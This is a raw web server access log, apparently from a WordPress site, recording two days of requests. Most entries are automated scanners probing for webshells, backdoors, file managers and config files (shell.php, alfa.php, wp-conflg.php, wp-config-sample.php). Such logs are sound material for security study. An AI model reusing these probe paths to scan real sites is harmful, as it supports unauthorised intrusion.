/path.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:47 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:47 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:48 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:48 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:49 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:49 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:51 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:52 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:52 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:53 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:54 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:55 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:56 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:56 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:57 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:59 +0300] "GET /ad1.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:00 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:01 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:01 +0300] "GET /X7T6.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:02 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:02 +0300] "GET /Rk41.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:03 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:03 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:05:52 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:05:55 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:06 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:06 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:10 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:10 +0300] "GET /wp-admin/css/colors.php HTTP/1.1" 301 795 "-" "-" 43.159.143.187 - - [04/Apr/2026:16:13:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 5.83.135.249 - - [04/Apr/2026:16:37:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 20.151.229.110 - - [04/Apr/2026:16:01:59 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:15 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:25 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:27 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:53 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:05:04 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 116.76.38.134 - - [04/Apr/2026:16:11:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.3265.147 Safari/537.36 OPR/63.0.3368.43" 20.151.229.110 - - [04/Apr/2026:15:58:53 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:53 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:08 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:10 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:37 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:37 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:37 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:39 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:50 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:51 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:57 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:57 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:58 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:23 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:30 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:34 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:35 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:36 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:36 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:37 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:40 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:03 +0300] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:26 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:04:17 +0300] "GET /alexantr/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:34 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:04:44 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:43 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:55 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:04 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:08 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:09 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:26 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:27 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:39 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:40 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:41 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:42 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:22 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:02:37 +0300] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:42 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:02:50 +0300] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:53 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:54 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:55 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:20 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:20 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:21 +0300] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:21 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:21 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:21 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:22 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:22 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:22 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:23 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:07:13 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:07:16 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:07:17 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:09 +0300] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:10 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:10 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:13 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:14 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:15 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:15 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:16 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:17 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:17 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:18 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:18 +0300] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:19 +0300] "GET /admin/ty.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:19 +0300] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:23 +0300] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:40 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:43 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:44 +0300] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:44 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:45 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:46 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:46 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:47 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:47 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:47 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:48 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:48 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:48 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:49 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:49 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:49 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:50 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:50 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:05:51 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:34 +0300] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:45 +0300] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:28 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:29 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:31 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:32 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:44 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:09 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:15 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:16 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:16 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:30 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:14 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:15 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:22 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:27 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 143.198.19.143 - - [04/Apr/2026:16:01:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.151.229.110 - - [04/Apr/2026:16:01:32 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:34 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:37 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:38 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:45 +0300] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:52 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:42 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:44 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:50 +0300] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:05:18 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:05:32 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:05:35 +0300] "GET /cong.php/wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 43.157.22.57 - - [04/Apr/2026:16:58:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [04/Apr/2026:17:32:12 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 160.30.137.9 - - [04/Apr/2026:21:20:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 77.90.185.5 - - [04/Apr/2026:20:29:39 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 52.167.144.209 - - [04/Apr/2026:20:00:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 103.22.142.22 - - [04/Apr/2026:22:21:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0" 161.35.198.153 - - [04/Apr/2026:23:28:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.140.247.223 - - [05/Apr/2026:01:39:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.128.156.124 - - [04/Apr/2026:22:53:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.35.198.153 - - [04/Apr/2026:23:28:41 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 74.248.146.253 - - [05/Apr/2026:00:41:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 66.29.156.203 - - [05/Apr/2026:01:03:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; 2201117TG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.193 Mobile Safari/537.36" 101.33.81.73 - - [04/Apr/2026:21:38:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.248.146.253 - - [05/Apr/2026:03:33:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 220.181.108.101 - - [05/Apr/2026:04:14:54 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 3.71.111.110 - - [05/Apr/2026:09:10:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 3.71.111.110 - - [05/Apr/2026:09:10:05 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 66.132.172.181 - - [05/Apr/2026:09:12:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 43.157.22.57 - - [05/Apr/2026:05:43:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.234.56 - - [05/Apr/2026:09:11:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 217.216.37.55 - - [05/Apr/2026:06:01:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.216.37.55 - - [05/Apr/2026:06:01:31 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 69.171.231.2 - - [05/Apr/2026:06:03:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 172.213.234.56 - - [05/Apr/2026:09:27:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.140.247.223 - - [05/Apr/2026:07:38:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.74.146.113 - - [05/Apr/2026:07:34:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.130.174.37 - - [05/Apr/2026:04:45:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 136.114.120.230 - - [05/Apr/2026:06:57:25 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:47 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:48 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:48 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:49 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:49 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:50 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:04:50 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:55 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:55 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:04:55 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:55 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; 